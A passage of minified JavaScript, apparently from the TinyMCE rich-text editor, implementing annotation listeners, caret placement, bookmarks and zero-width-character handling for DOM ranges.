n,r,o,i},Xi=function(e,t){$i(e)?e.dom().classList.add(t):Wi(e,t)},Yi=function(e){0===($i(e)?e.dom().classList:qi(e,"class")).length&&Sr(e,"class")},Gi=function(e,t){return $i(e)&&e.dom().classList.contains(t)},Ji=function(e,t){var n=[];return z(Kr(e),function(e){t(e)&&(n=n.concat([e])),n=n.concat(Ji(e,t))}),n},Qi=function(e,t){return n=t,o=(r=e)===undefined?V.document:r.dom(),Fr(o)?[]:W(o.querySelectorAll(n),ar.fromDom);var n,r,o};function Zi(e,t,n,r,o){return e(n,r)?_.some(n):D(o)&&o(n)?_.none():t(n,r,o)}var ea,ta=function(e,t,n){for(var r=e.dom(),o=D(n)?n:q(!1);r.parentNode;){r=r.parentNode;var i=ar.fromDom(r);if(t(i))return _.some(i);if(o(i))break}return _.none()},na=function(e,t,n){return Zi(function(e,t){return t(e)},ta,e,t,n)},ra=function(e,t,n){return ta(e,function(e){return Lr(e,t)},n)},oa=function(e,t){return n=t,o=(r=e)===undefined?V.document:r.dom(),Fr(o)?_.none():_.from(o.querySelector(n)).map(ar.fromDom);var n,r,o},ia=function(e,t,n){return Zi(Lr,ra,e,t,n)},aa=q("mce-annotation"),ua=q("data-mce-annotation"),sa=q("data-mce-annotation-uid"),ca=function(r,e){var t=r.selection.getRng(),n=ar.fromDom(t.startContainer),o=ar.fromDom(r.getBody()),i=e.fold(function(){return"."+aa()},function(e){return"["+ua()+'="'+e+'"]'}),a=Xr(n,t.startOffset).getOr(n),u=ia(a,i,function(e){return Mr(e,o)}),s=function(e,t){return n=t,(r=e.dom())&&r.hasAttribute&&r.hasAttribute(n)?_.some(Er(e,t)):_.none();var n,r};return u.bind(function(e){return s(e,""+sa()).bind(function(n){return s(e,""+ua()).map(function(e){var t=la(r,n);return{uid:n,name:e,elements:t}})})})},la=function(e,t){var n=ar.fromDom(e.getBody());return Qi(n,"["+sa()+'="'+t+'"]')},fa=function(i,e){var n,r,o,a=Hi({}),c=function(e,t){u(e,function(e){return t(e),e})},u=function(e,t){var n=a.get(),r=t(n.hasOwnProperty(e)?n[e]:{listeners:[],previous:Hi(_.none())});n[e]=r,a.set(n)},t=(n=function(){var e,t,n,r=a.get(),o=(e=gr(r),(n=B.call(e,0)).sort(t),n);z(o,function(e){u(e,function(u){var s=u.previous.get();return ca(i,_.some(e)).fold(function(){var t;s.isSome()&&(c(t=e,function(e){z(e.listeners,function(e){return e(!1,t)})}),u.previous.set(_.none()))},function(e){var t,n,r,o=e.uid,i=e.name,a=e.elements;s.is(o)||(n=o,r=a,c(t=i,function(e){z(e.listeners,function(e){return e(!0,t,{uid:n,nodes:W(r,function(e){return e.dom()})})})}),u.previous.set(_.some(o)))}),{previous:u.previous,listeners:u.listeners}})})},r=30,o=null,{cancel:function(){null!==o&&(V.clearTimeout(o),o=null)},throttle:function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];null!==o&&V.clearTimeout(o),o=V.setTimeout(function(){n.apply(null,e),o=null},r)}});return i.on("remove",function(){t.cancel()}),i.on("nodeChange",function(){t.throttle()}),{addListener:function(e,t){u(e,function(e){return{previous:e.previous,listeners:e.listeners.concat([t])}})}}},da=function(e,n){e.on("init",function(){e.serializer.addNodeFilter("span",function(e){z(e,function(t){var e;(e=t,_.from(e.attributes.map[ua()]).bind(n.lookup)).each(function(e){!1===e.persistent&&t.unwrap()})})})})},ma=function(){return(ma=Object.assign||function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var o in t=arguments[n])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e}).apply(this,arguments)},ga=0,pa=function(e,t){return ar.fromDom(e.dom().cloneNode(t))},ha=function(e){return pa(e,!1)},va=function(e){return pa(e,!0)},ya=function(e,t){var n,r,o=Ur(e).dom(),i=ar.fromDom(o.createDocumentFragment()),a=(n=t,(r=(o||V.document).createElement("div")).innerHTML=n,Kr(ar.fromDom(r)));Mi(i,a),zi(e),Fi(e,i)},ba="\ufeff",Ca=function(e){return e===ba},xa=ba,wa=function(e){return e.replace(new RegExp(ba,"g"),"")},Na=jo.isElement,Ea=jo.isText,Sa=function(e){return Ea(e)&&(e=e.parentNode),Na(e)&&e.hasAttribute("data-mce-caret")},Ta=function(e){return Ea(e)&&Ca(e.data)},ka=function(e){return Sa(e)||Ta(e)},_a=function(e){return e.firstChild!==e.lastChild||!jo.isBr(e.firstChild)},Aa=function(e){var t=e.container();return!(!e||!jo.isText(t))&&(t.data.charAt(e.offset())===xa||e.isAtStart()&&Ta(t.previousSibling))},Ra=function(e){var t=e.container();return!(!e||!jo.isText(t))&&(t.data.charAt(e.offset()-1)===xa||e.isAtEnd()&&Ta(t.nextSibling))},Da=function(e,t,n){var r,o,i;return(r=t.ownerDocument.createElement(e)).setAttribute("data-mce-caret",n?"before":"after"),r.setAttribute("data-mce-bogus","all"),r.appendChild(((i=V.document.createElement("br")).setAttribute("data-mce-bogus","1"),i)),o=t.parentNode,n?o.insertBefore(r,t):t.nextSibling?o.insertBefore(r,t.nextSibling):o.appendChild(r),r},Oa=function(e){return Ea(e)&&e.data[0]===xa},Ba=function(e){return Ea(e)&&e.data[e.data.length-1]===xa},Pa=function(e){return e&&e.hasAttribute("data-mce-caret")?(t=e.getElementsByTagName("br"),n=t[t.length-1],jo.isBogus(n)&&n.parentNode.removeChild(n),e.removeAttribute("data-mce-caret"),e.removeAttribute("data-mce-bogus"),e.removeAttribute("style"),e.removeAttribute("_moz_abspos"),e):null;var t,n},Ia=jo.isContentEditableTrue,La=jo.isContentEditableFalse,Fa=jo.isBr,Ma=jo.isText,za=jo.matchNodeNames("script style textarea"),Ua=jo.matchNodeNames("img input textarea hr iframe video audio object"),ja=jo.matchNodeNames("table"),Va=ka,Ha=function(e){return!Va(e)&&(Ma(e)?!za(e.parentNode):Ua(e)||Fa(e)||ja(e)||qa(e))},qa=function(e){return!1===(t=e,jo.isElement(t)&&"true"===t.getAttribute("unselectable"))&&La(e);var t},$a=function(e,t){return Ha(e)&&function(e,t){for(e=e.parentNode;e&&e!==t;e=e.parentNode){if(qa(e))return!1;if(Ia(e))return!0}return!0}(e,t)},Wa=Math.round,Ka=function(e){return e?{left:Wa(e.left),top:Wa(e.top),bottom:Wa(e.bottom),right:Wa(e.right),width:Wa(e.width),height:Wa(e.height)}:{left:0,top:0,bottom:0,right:0,width:0,height:0}},Xa=function(e,t){return e=Ka(e),t||(e.left=e.left+e.width),e.right=e.left,e.width=0,e},Ya=function(e,t,n){return 0<=e&&e<=Math.min(t.height,n.height)/2},Ga=function(e,t){var n=Math.min(t.height/2,e.height/2);return e.bottom-n<t.top||!(e.top>t.bottom)&&Ya(t.top-e.bottom,e,t)},Ja=function(e,t){return e.top>t.bottom||!(e.bottom<t.top)&&Ya(t.bottom-e.top,e,t)},Qa=function(e,t,n){return t>=e.left&&t<=e.right&&n>=e.top&&n<=e.bottom},Za=function(e){var t=e.startContainer,n=e.startOffset;return t.hasChildNodes()&&e.endOffset===n+1?t.childNodes[n]:null},eu=function(e,t){return 1===e.nodeType&&e.hasChildNodes()&&(t>=e.childNodes.length&&(t=e.childNodes.length-1),e=e.childNodes[t]),e},tu=new RegExp("[\u0300-\u036f\u0483-\u0487\u0488-\u0489\u0591-\u05bd\u05bf\u05c1-\u05c2\u05c4-\u05c5\u05c7\u0610-\u061a\u064b-\u065f\u0670\u06d6-\u06dc\u06df-\u06e4\u06e7-\u06e8\u06ea-\u06ed\u0711\u0730-\u074a\u07a6-\u07b0\u07eb-\u07f3\u0816-\u0819\u081b-\u0823\u0825-\u0827\u0829-\u082d\u0859-\u085b\u08e3-\u0902\u093a\u093c\u0941-\u0948\u094d\u0951-\u0957\u0962-\u0963\u0981\u09bc\u09be\u09c1-\u09c4\u09cd\u09d7\u09e2-\u09e3\u0a01-\u0a02\u0a3c\u0a41-\u0a42\u0a47-\u0a48\u0a4b-\u0a4d\u0a51\u0a70-\u0a71\u0a75\u0a81-\u0a82\u0abc\u0ac1-\u0ac5\u0ac7-\u0ac8\u0acd\u0ae2-\u0ae3\u0b01\u0b3c\u0b3e\u0b3f\u0b41-\u0b44\u0b4d\u0b56\u0b57\u0b62-\u0b63\u0b82\u0bbe\u0bc0\u0bcd\u0bd7\u0c00\u0c3e-\u0c40\u0c46-\u0c48\u0c4a-\u0c4d\u0c55-\u0c56\u0c62-\u0c63\u0c81\u0cbc\u0cbf\u0cc2\u0cc6\u0ccc-\u0ccd\u0cd5-\u0cd6\u0ce2-\u0ce3\u0d01\u0d3e\u0d41-\u0d44\u0d4d\u0d57\u0d62-\u0d63\u0dca\u0dcf\u0dd2-\u0dd4\u0dd6\u0ddf\u0e31\u0e34-\u0e3a\u0e47-\u0e4e\u0eb1\u0eb4-\u0eb9\u0ebb-\u0ebc\u0ec8-\u0ecd\u0f18-\u0f19\u0f35\u0f37\u0f39\u0f71-\u0f7e\u0f80-\u0f84\u0f86-\u0f87\u0f8d-\u0f97\u0f99-\u0fbc\u0fc6\u102d-\u1030\u1032-\u1037\u1039-\u103a\u103d-\u103e\u1058-\u1059\u105e-\u1060\u1071-\u1074\u1082\u1085-\u1086\u108d\u109d\u135d-\u135f\u1712-\u1714\u1732-\u1734\u1752-\u1753\u1772-\u1773\u17b4-\u17b5\u17b7-\u17bd\u17c6\u17c9-\u17d3\u17dd\u180b-\u180d\u18a9\u1920-\u1922\u1927-\u1928\u1932\u1939-\u193b\u1a17-\u1a18\u1a1b\u1a56\u1a58-\u1a5e\u1a60\u1a62\u1a65-\u1a6c\u1a73-\u1a7c\u1a7f\u1ab0-\u1abd\u1abe\u1b00-\u1b03\u1b34\u1b36-\u1b3a\u1b3c\u1b42\u1b6b-\u1b73\u1b80-\u1b81\u1ba2-\u1ba5\u1ba8-\u1ba9\u1bab-\u1bad\u1be6\u1be8-\u1be9\u1bed\u1bef-\u1bf1\u1c2c-\u1c33\u1c36-\u1c37\u1cd0-\u1cd2\u1cd4-\u1ce0\u1ce2-\u1ce8\u1ced\u1cf4\u1cf8-\u1cf9\u1dc0-\u1df5\u1dfc-\u1dff\u200c-\u200d\u20d0-\u20dc\u20dd-\u20e0\u20e1\u20e2-\u20e4\u20e5-\u20f0\u2cef-\u2cf1\u2d7f\u2de0-\u2dff\u302a-\u302d\u302e-\u302f\u3099-\u309a\ua66f\ua670-\ua672\ua674-\ua67d\ua69e-\ua69f\ua6f0-\ua6f1\ua802\ua806\ua80b\ua825-\ua826\ua8c4\ua8e0-\ua8f1\ua926-\ua92d\ua947-\ua951\ua980-\ua982\ua9b3\ua9b6-\ua9b9\ua9bc\ua9e5\uaa29-\uaa2e\uaa31-\uaa32\uaa35-\uaa36\uaa43\uaa4c\uaa7c\uaab0\uaab2-\uaab4\uaab7-\uaab8\uaabe-\uaabf\uaac1\uaaec-\uaaed\uaaf6\uabe5\uabe8\uabed\ufb1e\ufe00-\ufe0f\ufe20-\ufe2f\uff9e-\uff9f]"),nu=function(e){return"string"==typeof e&&768<=e.charCodeAt(0)&&tu.test(e)},ru=function(e,t,n){return e.isSome()&&t.isSome()?_.some(n(e.getOrDie(),t.getOrDie())):_.none()},ou=[].slice,iu=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];var n=ou.call(arguments);return function(e){for(var t=0;t<n.length;t++)if(!n[t](e))return!1;return!0}},au=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];var n=ou.call(arguments);return function(e){for(var t=0;t<n.length;t++)if(n[t](e))return!0;return!1}},uu=jo.isElement,su=Ha,cu=jo.matchStyleValues("display","block table"),lu=jo.matchStyleValues("float","left right"),fu=iu(uu,su,y(lu)),du=y(jo.matchStyleValues("white-space","pre pre-line pre-wrap")),mu=jo.isText,gu=jo.isBr,pu=Si.nodeIndex,hu=eu,vu=function(e){return"createRange"in e?e.createRange():Si.DOM.createRng()},yu=function(e){return e&&/[\r\n\t ]/.test(e)},bu=function(e){return!!e.setStart&&!!e.setEnd},Cu=function(e){var t,n=e.startContainer,r=e.startOffset;return!!(yu(e.toString())&&du(n.parentNode)&&jo.isText(n)&&(t=n.data,yu(t[r-1])||yu(t[r+1])))},xu=function(e){return 0===e.left&&0===e.right&&0===e.top&&0===e.bottom},wu=function(e){var t,n,r,o,i,a,u,s;return t=0<(n=e.getClientRects()).length?Ka(n[0]):Ka(e.getBoundingClientRect()),!bu(e)&&gu(e)&&xu(t)?(i=(r=e).ownerDocument,a=vu(i),u=i.createTextNode("\xa0"),(s=r.parentNode).insertBefore(u,r),a.setStart(u,0),a.setEnd(u,1),o=Ka(a.getBoundingClientRect()),s.removeChild(u),o):xu(t)&&bu(e)?function(e){var t=e.startContainer,n=e.endContainer,r=e.startOffset,o=e.endOffset;if(t===n&&jo.isText(n)&&0===r&&1===o){var i=e.cloneRange();return i.setEndAfter(n),wu(i)}return null}(e):t},Nu=function(e,t){var n=Xa(e,t);return n.width=1,n.right=n.left+1,n},Eu=function(e){var t,n,r=[],o=function(e){var t,n;0!==e.height&&(0<r.length&&(t=e,n=r[r.length-1],t.left===n.left&&t.top===n.top&&t.bottom===n.bottom&&t.right===n.right)||r.push(e))},i=function(e,t){var n=vu(e.ownerDocument);if(t<e.data.length){if(nu(e.data[t]))return r;if(nu(e.data[t-1])&&(n.setStart(e,t),n.setEnd(e,t+1),!Cu(n)))return o(Nu(wu(n),!1)),r}0<t&&(n.setStart(e,t-1),n.setEnd(e,t),Cu(n)||o(Nu(wu(n),!1))),t<e.data.length&&(n.setStart(e,t),n.setEnd(e,t+1),Cu(n)||o(Nu(wu(n),!0)))};if(mu(e.container()))return i(e.container(),e.offset()),r;if(uu(e.container()))if(e.isAtEnd())n=hu(e.container(),e.offset()),mu(n)&&i(n,n.data.length),fu(n)&&!gu(n)&&o(Nu(wu(n),!1));else{if(n=hu(e.container(),e.offset()),mu(n)&&i(n,0),fu(n)&&e.isAtEnd())return o(Nu(wu(n),!1)),r;t=hu(e.container(),e.offset()-1),fu(t)&&!gu(t)&&(cu(t)||cu(n)||!fu(n))&&o(Nu(wu(t),!1)),fu(n)&&o(Nu(wu(n),!0))}return r};function Su(t,n,e){var r=function(){return e||(e=Eu(Su(t,n))),e};return{container:q(t),offset:q(n),toRange:function(){var e;return(e=vu(t.ownerDocument)).setStart(t,n),e.setEnd(t,n),e},getClientRects:r,isVisible:function(){return 0<r().length},isAtStart:function(){return mu(t),0===n},isAtEnd:function(){return mu(t)?n>=t.data.length:n>=t.childNodes.length},isEqual:function(e){return e&&t===e.container()&&n===e.offset()},getNode:function(e){return hu(t,e?n-1:n)}}}(ea=Su||(Su={})).fromRangeStart=function(e){return ea(e.startContainer,e.startOffset)},ea.fromRangeEnd=function(e){return ea(e.endContainer,e.endOffset)},ea.after=function(e){return ea(e.parentNode,pu(e)+1)},ea.before=function(e){return ea(e.parentNode,pu(e))},ea.isAbove=function(e,t){return ru(Z(t.getClientRects()),ee(e.getClientRects()),Ga).getOr(!1)},ea.isBelow=function(e,t){return ru(ee(t.getClientRects()),Z(e.getClientRects()),Ja).getOr(!1)},ea.isAtStart=function(e){return!!e&&e.isAtStart()},ea.isAtEnd=function(e){return!!e&&e.isAtEnd()},ea.isTextPosition=function(e){return!!e&&jo.isText(e.container())},ea.isElementPosition=function(e){return!1===ea.isTextPosition(e)};var Tu,ku,_u=Su,Au=jo.isText,Ru=jo.isBogus,Du=Si.nodeIndex,Ou=function(e){var t=e.parentNode;return Ru(t)?Ou(t):t},Bu=function(e){return e?Ht.reduce(e.childNodes,function(e,t){return Ru(t)&&"BR"!==t.nodeName?e=e.concat(Bu(t)):e.push(t),e},[]):[]},Pu=function(t){return function(e){return t===e}},Iu=function(e){var t,r,n,o;return(Au(e)?"text()":e.nodeName.toLowerCase())+"["+(r=Bu(Ou(t=e)),n=Ht.findIndex(r,Pu(t),t),r=r.slice(0,n+1),o=Ht.reduce(r,function(e,t,n){return Au(t)&&Au(r[n-1])&&e++,e},0),r=Ht.filter(r,jo.matchNodeNames(t.nodeName)),(n=Ht.findIndex(r,Pu(t),t))-o)+"]"},Lu=function(e,t){var n,r,o,i,a,u=[];return n=t.container(),r=t.offset(),Au(n)?o=function(e,t){for(;(e=e.previousSibling)&&Au(e);)t+=e.data.length;return t}(n,r):(r>=(i=n.childNodes).length?(o="after",r=i.length-1):o="before",n=i[r]),u.push(Iu(n)),a=function(e,t,n){var r=[];for(t=t.parentNode;!(t===e||n&&n(t));t=t.parentNode)r.push(t);return r}(e,n),a=Ht.filter(a,y(jo.isBogus)),(u=u.concat(Ht.map(a,function(e){return Iu(e)}))).reverse().join("/")+","+o},Fu=function(e,t){var n,r,o;return t?(t=(n=t.split(","))[0].split("/"),o=1<n.length?n[1]:"before",(r=Ht.reduce(t,function(e,t){return(t=/([\w\-\(\)]+)\[([0-9]+)\]/.exec(t))?("text()"===t[1]&&(t[1]="#text"),n=e,r=t[1],o=parseInt(t[2],10),i=Bu(n),i=Ht.filter(i,function(e,t){return!Au(e)||!Au(i[t-1])}),(i=Ht.filter(i,jo.matchNodeNames(r)))[o]):null;var n,r,o,i},e))?Au(r)?function(e,t){for(var n,r=e,o=0;Au(r);){if(n=r.data.length,o<=t&&t<=o+n){e=r,t-=o;break}if(!Au(r.nextSibling)){e=r,t=n;break}o+=n,r=r.nextSibling}return Au(e)&&t>e.data.length&&(t=e.data.length),_u(e,t)}(r,parseInt(o,10)):(o="after"===o?Du(r)+1:Du(r),_u(r.parentNode,o)):null):null},Mu=function(e,t){jo.isText(t)&&0===t.data.length&&e.remove(t)},zu=function(e,t,n){var r,o,i,a,u,s,c;jo.isDocumentFragment(n)?(i=e,a=t,u=n,s=_.from(u.firstChild),c=_.from(u.lastChild),a.insertNode(u),s.each(function(e){return Mu(i,e.previousSibling)}),c.each(function(e){return Mu(i,e.nextSibling)})):(r=e,o=n,t.insertNode(o),Mu(r,o.previousSibling),Mu(r,o.nextSibling))},Uu=jo.isContentEditableFalse,ju=function(e,t,n,r,o){var i,a=r[o?"startContainer":"endContainer"],u=r[o?"startOffset":"endOffset"],s=[],c=0,l=e.getRoot();for(jo.isText(a)?s.push(n?function(e,t,n){var r,o;for(o=e(t.data.slice(0,n)).length,r=t.previousSibling;r&&jo.isText(r);r=r.previousSibling)o+=e(r.data).length;return o}(t,a,u):u):(u>=(i=a.childNodes).length&&i.length&&(c=1,u=Math.max(0,i.length-1)),s.push(e.nodeIndex(i[u],n)+c));a&&a!==l;a=a.parentNode)s.push(e.nodeIndex(a,n));return s},Vu=function(e,t,n){var r=0;return Xt.each(e.select(t),function(e){if("all"!==e.getAttribute("data-mce-bogus"))return e!==n&&void r++}),r},Hu=function(e,t){var n,r,o,i=t?"start":"end";n=e[i+"Container"],r=e[i+"Offset"],jo.isElement(n)&&"TR"===n.nodeName&&(n=(o=n.childNodes)[Math.min(t?r:r-1,o.length-1)])&&(r=t?0:n.childNodes.length,e["set"+(t?"Start":"End")](n,r))},qu=function(e){return Hu(e,!0),Hu(e,!1),e},$u=function(e,t){var n;if(jo.isElement(e)&&(e=eu(e,t),Uu(e)))return e;if(ka(e)){if(jo.isText(e)&&Sa(e)&&(e=e.parentNode),n=e.previousSibling,Uu(n))return n;if(n=e.nextSibling,Uu(n))return n}},Wu=function(e,t,n){var r=n.getNode(),o=r?r.nodeName:null,i=n.getRng();if(Uu(r)||"IMG"===o)return{name:o,index:Vu(n.dom,o,r)};var a,u,s,c,l,f,d,m=$u((a=i).startContainer,a.startOffset)||$u(a.endContainer,a.endOffset);return m?{name:o=m.tagName,index:Vu(n.dom,o,m)}:(u=e,c=t,l=i,f=(s=n).dom,(d={}).start=ju(f,u,c,l,!0),s.isCollapsed()||(d.end=ju(f,u,c,l,!1)),d)},Ku=function(e,t,n){var r={"data-mce-type":"bookmark",id:t,style:"overflow:hidden;line-height:0px"};return n?e.create("span",r,""):e.create("span",r)},Xu=function(e,t){var n=e.dom,r=e.getRng(),o=n.uniqueId(),i=e.isCollapsed(),a=e.getNode(),u=a.nodeName;if("IMG"===u)return{name:u,index:Vu(n,u,a)};var s=qu(r.cloneRange());if(!i){s.collapse(!1);var c=Ku(n,o+"_end",t);zu(n,s,c)}(r=qu(r)).collapse(!0);var l=Ku(n,o+"_start",t);return zu(n,r,l),e.moveToBookmark({id:o,keep:1}),{id:o}},Yu={getBookmark:function(e,t,n){return 2===t?Wu(wa,n,e):3===t?(o=(r=e).getRng(),{start:Lu(r.dom.getRoot(),_u.fromRangeStart(o)),end:Lu(r.dom.getRoot(),_u.fromRangeEnd(o))}):t?{rng:e.getRng()}:Xu(e,!1);var r,o},getUndoBookmark:d(Wu,$,!0),getPersistentBookmark:Xu},Gu="_mce_caret",Ju=function(e){return jo.isElement(e)&&e.id===Gu},Qu=function(e,t){for(;t&&t!==e;){if(t.id===Gu)return t;t=t.parentNode}return null},Zu=jo.isElement,es=jo.isText,ts=function(e){var t=e.parentNode;t&&t.removeChild(e)},ns=function(e,t){0===t.length?ts(e):e.nodeValue=t},rs=function(e){var t=wa(e);return{count:e.length-t.length,text:t}},os=function(e,t){return us(e),t},is=function(e,t){var n,r,o,i=t.container(),a=(n=te(i.childNodes),r=e,o=L(n,r),-1===o?_.none():_.some(o)).map(function(e){return e<t.offset()?_u(i,t.offset()-1):t}).getOr(t);return us(e),a},as=function(e,t){return es(e)&&t.container()===e?(r=t,o=rs((n=e).data.substr(0,r.offset())),i=rs(n.data.substr(r.offset())),0<(a=o.text+i.text).length?(ns(n,a),_u(n,r.offset()-o.count)):r):os(e,t);var n,r,o,i,a},us=function(e){if(Zu(e)&&ka(e)&&(_a(e)?e.removeAttribute("data-mce-caret"):ts(e)),es(e)){var t=wa(function(e){try{return e.nodeValue}catch(t){return""}}(e));ns(e,t)}},ss={removeAndReposition:function(e,t){return _u.isTextPosition(t)?as(e,t):(n=e,(r=t).container()===n.parentNode?is(n,r):os(n,r));var n,r},remove:us},cs=or.detect().browser,ls=jo.isContentEditableFalse,fs=function(e,t,n){var r,o,i,a,u,s=Xa(t.getBoundingClientRect(),n);return"BODY"===e.tagName?(r=e.ownerDocument.documentElement,o=e.scrollLeft||r.scrollLeft,i=e.scrollTop||r.scrollTop):(u=e.getBoundingClientRect(),o=e.scrollLeft-u.left,i=e.scrollTop-u.top),s.left+=o,s.right+=o,s.top+=i,s.bottom+=i,s.width=1,0<(a=t.offsetWidth-t.clientWidth)&&(n&&(a*=-1),s.left+=a,s.right+=a),s},ds=function(a,u,e){var t,s,c=Hi(_.none()),l=function(){!function(e){var t,n,r,o,i;for(t=gn("*[contentEditable=false]",e),o=0;o<t.length;o++)r=(n=t[o]).previousSibling,Ba(r)&&(1===(i=r.data).length?r.parentNode.removeChild(r):r.deleteData(i.length-1,1)),r=n.nextSibling,Oa(r)&&(1===(i=r.data).length?r.parentNode.removeChild(r):r.deleteData(0,1))}(a),s&&(ss.remove(s),s=null),c.get().each(function(e){gn(e.caret).remove(),c.set(_.none())}),clearInterval(t)},f=function(){t=he.setInterval(function(){e()?gn("div.mce-visual-caret",a).toggleClass("mce-visual-caret-hidden"):gn("div.mce-visual-caret",a).addClass("mce-visual-caret-hidden")},500)};return{show:function(t,e){var n,r,o;if(l(),o=e,jo.isElement(o)&&/^(TD|TH)$/i.test(o.tagName))return null;if(!u(e))return s=function(e,t){var n,r,o;if(r=e.ownerDocument.createTextNode(xa),o=e.parentNode,t){if(n=e.previousSibling,Ea(n)){if(ka(n))return n;if(Ba(n))return n.splitText(n.data.length-1)}o.insertBefore(r,e)}else{if(n=e.nextSibling,Ea(n)){if(ka(n))return n;if(Oa(n))return n.splitText(1),n}e.nextSibling?o.insertBefore(r,e.nextSibling):o.appendChild(r)}return r}(e,t),r=e.ownerDocument.createRange(),ls(s.nextSibling)?(r.setStart(s,0),r.setEnd(s,0)):(r.setStart(s,1),r.setEnd(s,1)),r;s=Da("p",e,t),n=fs(a,e,t),gn(s).css("top",n.top);var i=gn('<div class="mce-visual-caret" data-mce-bogus="all"></div>').css(n).appendTo(a)[0];return c.set(_.some({caret:i,element:e,before:t})),c.get().each(function(e){t&&gn(e.caret).addClass("mce-visual-caret-before")}),f(),(r=e.ownerDocument.createRange()).setStart(s,0),r.setEnd(s,0),r},hide:l,getCss:function(){return".mce-visual-caret {position: absolute;background-color: black;background-color: currentcolor;}.mce-visual-caret-hidden {display: none;}*[data-mce-caret] {position: absolute;left: -1000px;right: auto;top: 0;margin: 0;padding: 0;}"},reposition:function(){c.get().each(function(e){var t=fs(a,e.element,e.before);gn(e.caret).css(t)})},destroy:function(){return he.clearInterval(t)}}},ms=function(){return cs.isIE()||cs.isEdge()||cs.isFirefox()},gs=function(e){return ls(e)||jo.isTable(e)&&ms()},ps=jo.isContentEditableFalse,hs=jo.matchStyleValues("display","block table table-cell table-caption list-item"),vs=ka,ys=Sa,bs=jo.isElement,Cs=Ha,xs=function(e){return 0<e},ws=function(e){return e<0},Ns=function(e,t){for(var n;n=e(t);)if(!ys(n))return n;return null},Es=function(e,t,n,r,o){var i=new go(e,r);if(ws(t)){if((ps(e)||ys(e))&&n(e=Ns(i.prev,!0)))return e;for(;e=Ns(i.prev,o);)if(n(e))return e}if(xs(t)){if((ps(e)||ys(e))&&n(e=Ns(i.next,!0)))return e;for(;e=Ns(i.next,o);)if(n(e))return e}return null},Ss=function(e,t){for(;e&&e!==t;){if(hs(e))return e;e=e.parentNode}return null},Ts=function(e,t,n){return Ss(e.container(),n)===Ss(t.container(),n)},ks=function(e,t){var n,r;return t?(n=t.container(),r=t.offset(),bs(n)?n.childNodes[r+e]:null):null},_s=function(e,t){var n=t.ownerDocument.createRange();return e?(n.setStartBefore(t),n.setEndBefore(t)):(n.setStartAfter(t),n.setEndAfter(t)),n},As=function(e,t,n){var r,o,i,a;for(o=e?"previousSibling":"nextSibling";n&&n!==t;){if(r=n[o],vs(r)&&(r=r[o]),ps(r)){if(a=n,Ss(r,i=t)===Ss(a,i))return r;break}if(Cs(r))break;n=n.parentNode}return null},Rs=d(_s,!0),Ds=d(_s,!1),Os=function(e,t,n){var r,o,i,a,u=d(As,!0,t),s=d(As,!1,t);if(o=n.startContainer,i=n.startOffset,Sa(o)){if(bs(o)||(o=o.parentNode),"before"===(a=o.getAttribute("data-mce-caret"))&&(r=o.nextSibling,gs(r)))return Rs(r);if("after"===a&&(r=o.previousSibling,gs(r)))return Ds(r)}if(!n.collapsed)return n;if(jo.isText(o)){if(vs(o)){if(1===e){if(r=s(o))return Rs(r);if(r=u(o))return Ds(r)}if(-1===e){if(r=u(o))return Ds(r);if(r=s(o))return Rs(r)}return n}if(Ba(o)&&i>=o.data.length-1)return 1===e&&(r=s(o))?Rs(r):n;if(Oa(o)&&i<=1)return-1===e&&(r=u(o))?Ds(r):n;if(i===o.data.length)return(r=s(o))?Rs(r):n;if(0===i)return(r=u(o))?Ds(r):n}return n},Bs=function(e,t){return _.from(ks(e?0:-1,t)).filter(ps)},Ps=function(e,t,n){var r=Os(e,t,n);return-1===e?Su.fromRangeStart(r):Su.fromRangeEnd(r)},Is=function(e){return _.from(e.getNode()).map(ar.fromDom)},Ls=function(e,t){for(;t=e(t);)if(t.isVisible())return t;return t},Fs=function(e,t){var n=Ts(e,t);return!(n||!jo.isBr(e.getNode()))||n};(ku=Tu||(Tu={}))[ku.Backwards=-1]="Backwards",ku[ku.Forwards=1]="Forwards";var Ms,zs,Us,js=jo.isContentEditableFalse,Vs=jo.isText,Hs=jo.isElement,qs=jo.isBr,$s=Ha,Ws=function(e){return Ua(e)||!!qa(t=e)&&!0!==j(te(t.getElementsByTagName("*")),function(e,t){return e||Ia(t)},!1);var t},Ks=$a,Xs=function(e,t){return e.hasChildNodes()&&t<e.childNodes.length?e.childNodes[t]:null},Ys=function(e,t){if(xs(e)){if($s(t.previousSibling)&&!Vs(t.previousSibling))return _u.before(t);if(Vs(t))return _u(t,0)}if(ws(e)){if($s(t.nextSibling)&&!Vs(t.nextSibling))return _u.after(t);if(Vs(t))return _u(t,t.data.length)}return ws(e)?qs(t)?_u.before(t):_u.after(t):_u.before(t)},Gs=function(e,t,n){var r,o,i,a,u;if(!Hs(n)||!t)return null;if(t.isEqual(_u.after(n))&&n.lastChild){if(u=_u.after(n.lastChild),ws(e)&&$s(n.lastChild)&&Hs(n.lastChild))return qs(n.lastChild)?_u.before(n.lastChild):u}else u=t;var s,c,l,f=u.container(),d=u.offset();if(Vs(f)){if(ws(e)&&0<d)return _u(f,--d);if(xs(e)&&d<f.length)return _u(f,++d);r=f}else{if(ws(e)&&0<d&&(o=Xs(f,d-1),$s(o)))return!Ws(o)&&(i=Es(o,e,Ks,o))?Vs(i)?_u(i,i.data.length):_u.after(i):Vs(o)?_u(o,o.data.length):_u.before(o);if(xs(e)&&d<f.childNodes.length&&(o=Xs(f,d),$s(o)))return qs(o)?(s=n,(l=(c=o).nextSibling)&&$s(l)?Vs(l)?_u(l,0):_u.before(l):Gs(Tu.Forwards,_u.after(c),s)):!Ws(o)&&(i=Es(o,e,Ks,o))?Vs(i)?_u(i,0):_u.before(i):Vs(o)?_u(o,0):_u.after(o);r=o||u.getNode()}return(xs(e)&&u.isAtEnd()||ws(e)&&u.isAtStart())&&(r=Es(r,e,q(!0),n,!0),Ks(r,n))?Ys(e,r):(o=Es(r,e,Ks,n),!(a=Ht.last(U(function(e,t){for(var n=[];e&&e!==t;)n.push(e),e=e.parentNode;return n}(f,n),js)))||o&&a.contains(o)?o?Ys(e,o):null:u=xs(e)?_u.after(a):_u.before(a))},Js=function(t){return{next:function(e){return Gs(Tu.Forwards,e,t)},prev:function(e){return Gs(Tu.Backwards,e,t)}}},Qs=function(e){return _u.isTextPosition(e)?0===e.offset():Ha(e.getNode())},Zs=function(e){if(_u.isTextPosition(e)){var t=e.container();return 